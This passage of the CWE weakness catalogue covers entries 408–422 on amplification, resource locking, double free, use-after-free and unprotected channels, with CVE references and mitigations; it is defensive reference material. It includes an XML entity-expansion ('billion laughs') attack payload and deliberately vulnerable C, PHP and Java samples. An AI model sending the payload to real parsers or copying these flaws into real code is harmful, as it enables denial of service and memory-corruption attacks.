Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other) *The typical consequence is CPU consumption, but memory consumption and consumption of other resources can also occur.*	

Observed Examples

Reference	Description
CVE-2003-0244	CPU consumption via inputs that cause many hash table collisions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0244*
CVE-2003-0364	CPU consumption via inputs that cause many hash table collisions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0364*
CVE-2002-1203	Product performs unnecessary processing before dropping an invalid packet. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1203*
CVE-2001-1501	CPU and memory consumption using many wildcards. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1501*
CVE-2004-2527	Product allows attackers to cause multiple copies of a program to be loaded more quickly than the program can detect that other copies are running, then exit. This type of error should probably have its own category, where teardown takes more time than initialization. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2527*
CVE-2006-6931	Network monitoring system allows remote attackers to cause a denial of service (CPU consumption and detection outage) via crafted network traffic, aka a "backtracking attack." *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6931*

Reference	Description
CVE-2006-3380	Wiki allows remote attackers to cause a denial of service (CPU consumption) by performing a diff between large, crafted pages that trigger the worst case algorithmic complexity. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3380*
CVE-2006-3379	Wiki allows remote attackers to cause a denial of service (CPU consumption) by performing a diff between large, crafted pages that trigger the worst case algorithmic complexity. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3379*
CVE-2005-2506	OS allows attackers to cause a denial of service (CPU consumption) via crafted Gregorian dates. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2506*
CVE-2005-1792	Memory leak by performing actions faster than the software can clear them. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1792*

Functional Areas

- Cryptography

MemberOf Relationships

CWE-408: Incorrect Behavior Order: Early Amplification

Weakness ID : 408 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software allows an entity to perform a legitimate but expensive operation before authentication or authorization has taken place.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	405	Asymmetric Resource Consumption (Amplification)	883
ChildOf	C	696	Incorrect Behavior Order	1348

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Amplification DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) *System resources, CPU and memory, can be quickly consumed. This can lead to poor system performance or system crash.*	

Demonstrative Examples

Example 1:

This data prints the contents of a specified file requested by a user.

Example Language: PHP *(bad)*

```
function printFile($username,$filename){
    //read file into string
    $file = file_get_contents($filename);
    if ($file && isOwnerOf($username,$filename)){
        echo $file;
        return true;
    }
    else{
        echo 'You are not authorized to view this file';
    }
    return false;
}
```

This code first reads a specified file into memory, then prints the file if the user is authorized to see its contents. The read of the file into memory may be resource intensive and is unnecessary if the user is not allowed to see the file anyway.

Observed Examples

Reference	Description
CVE-2004-2458	Tool creates directories before authenticating user. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2458*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947

Notes

Relationship

Overlaps authentication errors.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Early Amplification

CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)

Weakness ID : 409 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.

Extended Description

An example of data amplification is a "decompression bomb," a small ZIP file that can produce a large amount of data when it is decompressed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	405	Asymmetric Resource Consumption (Amplification)	883
ParentOf	B	776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')	1440

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	1849

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Amplification DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) *System resources, CPU and memory, can be quickly consumed. This can lead to poor system performance or system crash.*	

Demonstrative Examples

Example 1:

The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is 2^0. Similarly, ONE refers to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or 2^1. Ultimately,

we reach entity THIRTYTWO, which will expand to 2^32 characters in length, or 4 GB, probably consuming far more data than expected.

Example Language: XML *(attack)*

```
<?xml version="1.0"?>
<!DOCTYPE MaliciousDTD [
<!ENTITY ZERO "A">
<!ENTITY ONE "&ZERO;&ZERO;">
<!ENTITY TWO "&ONE;&ONE;">
...
<!ENTITY THIRTYTWO "&THIRTYONE;&THIRTYONE;">
]>
<data>&THIRTYTWO;</data>
```

CWE-410: Insufficient Resource Pool

Weakness ID : 410 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software's resource pool is not large enough to handle peak demand, which allows an attacker to prevent others from accessing the resource by using a (relatively) large number of requests for resources.

Extended Description

Frequently the consequence is a "flood" of connection or sessions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
CanPrecede		400	Uncontrolled Resource Consumption	864

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability Integrity Other	DoS: Crash, Exit, or Restart Other *Floods often cause a crash or other problem besides denial of the resource itself; these are likely examples of *other* vulnerabilities, not an insufficient resource pool.*	

Potential Mitigations

Phase: Architecture and Design

Do not perform resource-intensive transactions for unauthenticated users and/or invalid requests.

Phase: Architecture and Design

Consider implementing a velocity check mechanism which would detect abusive behavior.

Phase: Operation

Consider load balancing as an option to handle heavy loads.

Phase: Implementation

Make sure that resource handles are properly closed when no longer needed.

Phase: Architecture and Design

Identify the system's resource intensive operations and consider protecting them from abuse (e.g. malicious automated script which runs the resources out).

Demonstrative Examples

Example 1:

In the following snippet from a Tomcat configuration file, a JDBC connection pool is defined with a maximum of 5 simultaneous connections (with a 60 second timeout). In this case, it may be trivial for an attacker to instigate a denial of service (DoS) by using up all of the available connections in the pool.

Example Language: XML *(bad)*

```
<Resource name="jdbc/exampledb"
auth="Container"
```

```
type="javax.sql.DataSource"
removeAbandoned="true"
removeAbandonedTimeout="30"
maxActive="5"
maxIdle="5"
maxWait="60000"
username="testuser"
password="testpass"
driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost/exampledb"/>
```

Observed Examples

Reference	Description
CVE-1999-1363	Large number of locks on file exhausts the pool and causes crash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1363*
CVE-2001-1340	Product supports only one connection and does not disconnect a user who does not provide credentials. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1340*
CVE-2002-0406	Large number of connections without providing credentials allows connection exhaustion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0406*

CWE-412: Unrestricted Externally Accessible Lock

Weakness ID : 412 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software properly checks for the existence of a lock, but the lock can be externally controlled or influenced by an actor that is outside of the intended sphere of control.

Extended Description

This prevents the software from acting on associated resources or performing other behaviors that are controlled by the presence of the lock. Relevant locks might include an exclusive lock or mutex, or modifying a shared resource that is treated as a lock. If the lock can be held for an indefinite period of time, then the denial of service could be permanent.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	667	Improper Locking	1299
CanAlsoBe	B	410	Insufficient Resource Pool	891

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	411	Resource Locking Problems	1865

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) *When an attacker can control a lock, the program may wait indefinitely until the attacker releases the lock, causing a denial of service to other users of the program. This is especially problematic if there is a blocking operation on the lock.*	

Detection Methods

White Box

Automated code analysis techniques might not be able to reliably detect this weakness, since the application's behavior and general security model dictate which resource locks are critical. Interpretation of the weakness might require knowledge of the environment, e.g. if the existence of a file is used as a lock, but the file is created in a world-writable directory.

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Use any access control that is offered by the functionality that is offering the lock.

Phase: Architecture and Design

Phase: Implementation

Use unpredictable names or identifiers for the locks. This might not always be possible or feasible.

Phase: Architecture and Design

Consider modifying your code to use non-blocking synchronization methods.

Demonstrative Examples

Example 1:

This code tries to obtain a lock for a file, then writes to it.

Example Language: PHP *(bad)*

```
function writeToLog($message){
    $logfile = fopen("logFile.log", "a");
    //attempt to get logfile lock
    if (flock($logfile, LOCK_EX)) {
        fwrite($logfile,$message);
        // unlock logfile
        flock($logfile, LOCK_UN);
    }
    else {
        print "Could not obtain lock on logFile.log, message not recorded\n";
    }
}
fclose($logFile);
```

PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an flock() on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on flock().

Observed Examples

Reference	Description
CVE-2001-0682	Program can not execute when attacker obtains a mutex. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0682*
CVE-2002-1914	Program can not execute when attacker obtains a lock on a critical output file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1914*
CVE-2002-1915	Program can not execute when attacker obtains a lock on a critical output file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1915*
CVE-2002-0051	Critical file can be opened with exclusive read access by user, preventing application of security policy. Possibly related to improper permissions, large-window race condition. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0051*
CVE-2000-0338	Chain: predictable file names used for locking, allowing attacker to create the lock beforehand. Resultant from permissions and randomness. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0338*
CVE-2000-1198	Chain: Lock files with predictable names. Resultant from randomness. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1198*
CVE-2002-1869	Product does not check if it can write to a log file, allowing attackers to avoid logging by accessing the file using an exclusive lock. Overlaps unchecked error condition. This is not quite CWE-412, but close. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1869*

CWE-413: Improper Resource Locking

Weakness ID : 413 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not lock or does not correctly lock a resource when the software must have exclusive access to the resource.

Extended Description

When a resource is not properly locked, an attacker could modify the resource while it is being operated on by the software. This might violate the software's assumption that the resource will not change, potentially leading to unexpected behaviors.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

ParentOf	V	591	Sensitive Data Storage in Improperly Locked Memory	1182

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	411	Resource Locking Problems	1865

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Availability	DoS: Instability	
	DoS: Crash, Exit, or Restart	

Potential Mitigations

Phase: Architecture and Design

Use a non-conflicting privilege scheme.

Phase: Architecture and Design

Phase: Implementation

Use synchronization when locking a resource.

Demonstrative Examples

Example 1:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

Example Language: C *(bad)*

```
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting it to higher levels.

Example Language: C *(good)*

```
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
    return pthread_mutex_unlock(mutex);
}
```

Example 2:

This Java example shows a simple BankAccount class with deposit and withdraw methods.

Example Language: Java *(bad)*

```
public class BankAccount {
    // variable for bank account balance
    private double accountBalance;
    // constructor for BankAccount
    public BankAccount() {
        accountBalance = 0;
    }
    // method to deposit amount into BankAccount
    public void deposit(double depositAmount) {
        double newBalance = accountBalance + depositAmount;
        accountBalance = newBalance;
    }
    // method to withdraw amount from BankAccount
    public void withdraw(double withdrawAmount) {
        double newBalance = accountBalance - withdrawAmount;
        accountBalance = newBalance;
    }
    // other methods for accessing the BankAccount object
    ...
}
```

However, the deposit and withdraw methods have shared access to the account balance private class variable. This can result in a race condition if multiple threads attempt to call the deposit and withdraw methods simultaneously where the account balance is modified by one thread before another thread has completed modifying the account balance. For example, if a thread attempts to withdraw funds using the withdraw method before another thread that is depositing funds using the deposit method completes the deposit then there may not be sufficient funds for the withdraw transaction.

To prevent multiple threads from having simultaneous access to the account balance variable the deposit and withdraw methods should be synchronized using the synchronized modifier.

Example Language: Java *(good)*

```
public class BankAccount {
    ...
    // synchronized method to deposit amount into BankAccount
    public synchronized void deposit(double depositAmount) {
        ...
    }
    // synchronized method to withdraw amount from BankAccount
    public synchronized void withdraw(double withdrawAmount) {
        ...
    }
    ...
}
```

An alternative solution is to use a lock object to ensure exclusive access to the bank account balance variable. As shown below, the deposit and withdraw methods use the lock object to set a lock to block access to the BankAccount object from other threads until the method has completed updating the bank account balance variable.

Example Language: Java *(good)*

```
public class BankAccount {
    ...
    // lock object for thread access to methods
    private ReentrantLock balanceChangeLock;
    // condition object to temporarily release lock to other threads
    private Condition sufficientFundsCondition;
    // method to deposit amount into BankAccount
    public void deposit(double amount) {
        // set lock to block access to BankAccount from other threads
```

```
        balanceChangeLock.lock();
        try {
            double newBalance = balance + amount;
            balance = newBalance;
            // inform other threads that funds are available
            sufficientFundsCondition.signalAll();
        } catch (Exception e) {...}
        finally {
            // unlock lock object
            balanceChangeLock.unlock();
        }
    }
    // method to withdraw amount from bank account
    public void withdraw(double amount) {
        // set lock to block access to BankAccount from other threads
        balanceChangeLock.lock();
        try {
            while (balance < amount) {
                // temporarily unblock access
                // until sufficient funds are available
                sufficientFundsCondition.await();
            }
            double newBalance = balance - amount;
            balance = newBalance;
        } catch (Exception e) {...}
        finally {
            // unlock lock object
            balanceChangeLock.unlock();
        }
    }
    ...
}
```

CWE-415: Double Free

Weakness ID : 415 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.

Extended Description

When a program calls free() twice with the same argument, the program's memory management data structures become corrupted. This corruption can cause the program to crash or, in some circumstances, cause two later calls to malloc() to return the same pointer. If malloc() returns the same value twice and the program later gives the attacker control over the data that is written into this doubly-allocated memory, the program becomes vulnerable to a buffer overflow attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
ChildOf	C	672	Operation on a Resource after Expiration or Release	1310

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Alternate Terms

Double-free :

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Confidentiality	Execute Unauthorized Code or Commands	

Scope	Impact	Likelihood
Availability	*Doubly freeing memory may result in a write-what-where condition, allowing an attacker to execute arbitrary code.*	

Potential Mitigations

Phase: Architecture and Design

Choose a language that provides automatic memory management.

Phase: Implementation

Ensure that each allocation is freed only once. After freeing a chunk, set the pointer to NULL to ensure the pointer cannot be freed again. In complicated error conditions, be sure that clean-up routines respect the state of allocation properly. If the language is object oriented, ensure that object destructors delete each chunk of memory only once.

Phase: Implementation

Use a static analysis tool to find double free instances.

Demonstrative Examples

Example 1:

The following code shows a simple example of a double free vulnerability.

Example Language: C *(bad)*

```
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
  free(ptr);
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Example 2:

While contrived, this code should be exploitable on Linux distributions which do not ship with heap-chunk check summing turned on.

Example Language: C *(bad)*

```
#include <stdio.h>
#include <unistd.h>
#define BUFSIZE1 512
#define BUFSIZE2 ((BUFSIZE1/2) - 8)
int main(int argc, char **argv) {
  char *buf1R1;
  char *buf2R1;
  char *buf1R2;
  buf1R1 = (char *) malloc(BUFSIZE2);
  buf2R1 = (char *) malloc(BUFSIZE2);
  free(buf1R1);
  free(buf2R1);
  buf1R2 = (char *) malloc(BUFSIZE1);
  strncpy(buf1R2, argv[1], BUFSIZE1-1);
  free(buf2R1);
```

```
    free(buf1R2);
}
```

MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	1998
MemberOf	C	1237	SFP Primary Cluster: Faulty Resource Release	888	2019

Notes

Relationship

This is usually resultant from another weakness, such as an unhandled error or race condition between threads. It could also be primary to weaknesses such as buffer overflows.

Maintenance

It could be argued that Double Free would be most appropriately located as a child of "Use after Free", but "Use" and "Release" are considered to be distinct operations within vulnerability theory, therefore this is more accurately "Release of a Resource after Expiration or Release", which doesn't exist yet.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			DFREE - Double-Free Vulnerability
7 Pernicious Kingdoms			Double Free
CLASP			Doubly freeing memory
CERT C Secure Coding	MEM00-C		Allocate and free memory in the same module, at the same level of abstraction
CERT C Secure Coding	MEM01-C		Store a new value in pointers immediately after free()
CERT C Secure Coding	MEM30-C	CWE More Specific	Do not access freed memory
CERT C Secure Coding	MEM31-C		Free dynamically allocated memory exactly once
Software Fault Patterns	SFP12		Faulty Memory Release

CWE-416: Use After Free

Weakness ID : 416 **Status:** Stable
Structure : Simple
Abstraction : Variant

Description

Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.

Extended Description

The use of previously-freed memory can have any number of adverse consequences, ranging from the corruption of valid data to the execution of arbitrary code, depending on the instantiation and timing of the flaw. The simplest way data corruption may occur involves the system's reuse of the freed memory. Use-after-free errors have two common and sometimes overlapping causes:

- Error conditions and other exceptional circumstances.
- Confusion over which part of the program is responsible for freeing the memory.

In this scenario, the memory in question is allocated to another pointer validly at some point after it has been freed. The original pointer to the freed memory is used again and points to somewhere within the new allocation. As the data is changed, it corrupts the validly used memory; this induces undefined behavior in the process.

If the newly allocated data chances to hold a class, in C++ for example, various function pointers may be scattered within the heap data. If one of these function pointers is overwritten with an address to valid shellcode, execution of arbitrary code can be achieved.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	825	Expired Pointer Dereference	1523
PeerOf	V	415	Double Free	901
CanFollow	B	364	Signal Handler Race Condition	802
CanFollow	B	1265	Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls	1802
CanPrecede	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	280
CanPrecede	B	123	Write-what-where Condition	296

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	672	Operation on a Resource after Expiration or Release	1310

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Alternate Terms

Dangling pointer :

Use-After-Free :

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory *The use of previously freed memory may corrupt valid data, if the memory area in question has been allocated and used properly elsewhere.*	
Availability	DoS: Crash, Exit, or Restart *If chunk consolidation occurs after the use of previously freed data, the process may crash when invalid data is used as chunk information.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *If malicious data is entered before chunk consolidation can take place, it may be possible to take advantage of a write-what-where primitive to execute arbitrary code.*	

Potential Mitigations

Phase: Architecture and Design

Choose a language that provides automatic memory management.

Phase: Implementation

When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(bad)*

```
#include <stdio.h>
#include <unistd.h>
#define BUFSIZER1 512
#define BUFSIZER2 ((BUFSIZER1/2) - 8)
int main(int argc, char **argv) {
    char *buf1R1;
    char *buf2R1;
    char *buf2R2;
    char *buf3R2;
    buf1R1 = (char *) malloc(BUFSIZER1);
    buf2R1 = (char *) malloc(BUFSIZER1);
    free(buf2R1);
    buf2R2 = (char *) malloc(BUFSIZER2);
    buf3R2 = (char *) malloc(BUFSIZER2);
    strncpy(buf2R1, argv[1], BUFSIZER1-1);
    free(buf1R1);
    free(buf2R2);
    free(buf3R2);
}
```

Example 2:

The following code illustrates a use after free error:

Example Language: C *(bad)*

```
char* ptr = (char*)malloc (SIZE);
if (err) {
    abrt = 1;
    free(ptr);
}
...
if (abrt) {
    logError("operation aborted before commit", ptr);
}
```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

Observed Examples

Reference	Description
CVE-2010-4168	Use-after-free triggered by closing a connection while data is still being transmitted. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4168*

CWE-419: Unprotected Primary Channel

Weakness ID : 419 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software uses a primary channel for administration or restricted functionality, but it does not properly protect the channel.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	923	Improper Restriction of Communication Channel to Intended Endpoints	1604

Relevant to the view "Architectural Concepts" (CWE-1008)

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	417	Communication Channel Errors	1865

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Do not expose administrative functionnality on the user UI.

Phase: Architecture and Design

Protect the administrative/restricted functionality with a strong authentication mechanism.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
383	Harvesting Information via API Event Monitoring

CWE-420: Unprotected Alternate Channel

Weakness ID : 420 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software protects a primary channel, but it does not use the same level of protection for an alternate channel.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Identify all alternate channels and use the same protection mechanisms that are used for the primary channels.

Observed Examples

Reference	Description
CVE-2002-0567	DB server assumes that local clients have performed authentication, allowing attacker to directly connect to a process to load libraries and execute commands; a socket interface also exists (another alternate channel), so attack can be remote. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0567*
CVE-2002-1578	Product does not restrict access to underlying database, so attacker can bypass restrictions by directly querying the database. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1578*
CVE-2003-1035	User can avoid lockouts by using an API instead of the GUI to conduct brute force password guessing. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1035*
CVE-2002-1863	FTP service can not be disabled even when other access controls would require it. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1863*
CVE-2002-0066	Windows named pipe created without authentication/access control, allowing configuration modification. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0066*
CVE-2004-1461	Router management interface spawns a separate TCP connection after authentication, allowing hijacking by attacker coming from the same IP address. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1461*

Nature	Type	ID	Name	V	Page
MemberOf	C	956	SFP Secondary Cluster: Channel Attack	888	1937

Notes

Relationship

This can be primary to authentication errors, and resultant from unhandled error conditions.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unprotected Alternate Channel

CWE-421: Race Condition During Access to Alternate Channel

Weakness ID : 421 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product opens an alternate channel to communicate with an authorized user, but the channel is accessible to other actors.

Extended Description

This creates a race condition that allows an attacker to access the channel before the authorized user does.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-422: Unprotected Windows Messaging Channel ('Shatter')

Weakness ID : 422 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software does not properly verify the source of a message in the Windows Messaging System while running at elevated privileges, creating an alternate channel through which an attacker can directly send a message to the product.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	360	Trust of System Event Data	792
ChildOf	B	420	Unprotected Alternate Channel	909

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Always verify and authenticate the source of the message.

Observed Examples

Reference	Description
CVE-2002-0971	Bypass GUI and access restricted dialog box. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0971*
CVE-2002-1230	Gain privileges via Windows message. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1230*
CVE-2003-0350	A control allows a change to a pointer for a callback function using Windows message. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0350*
CVE-2003-0908	Product launches Help functionality while running with raised privileges, allowing command execution using Windows message to access "open file" dialog. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0908*
CVE-2004-0213	Attacker uses Shatter attack to bypass GUI-enforced protection for CVE-2003-0908. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0213*
CVE-2004-0207	User can call certain API functions to modify certain properties of privileged programs. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0207*

Affected Resources

- System Process

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

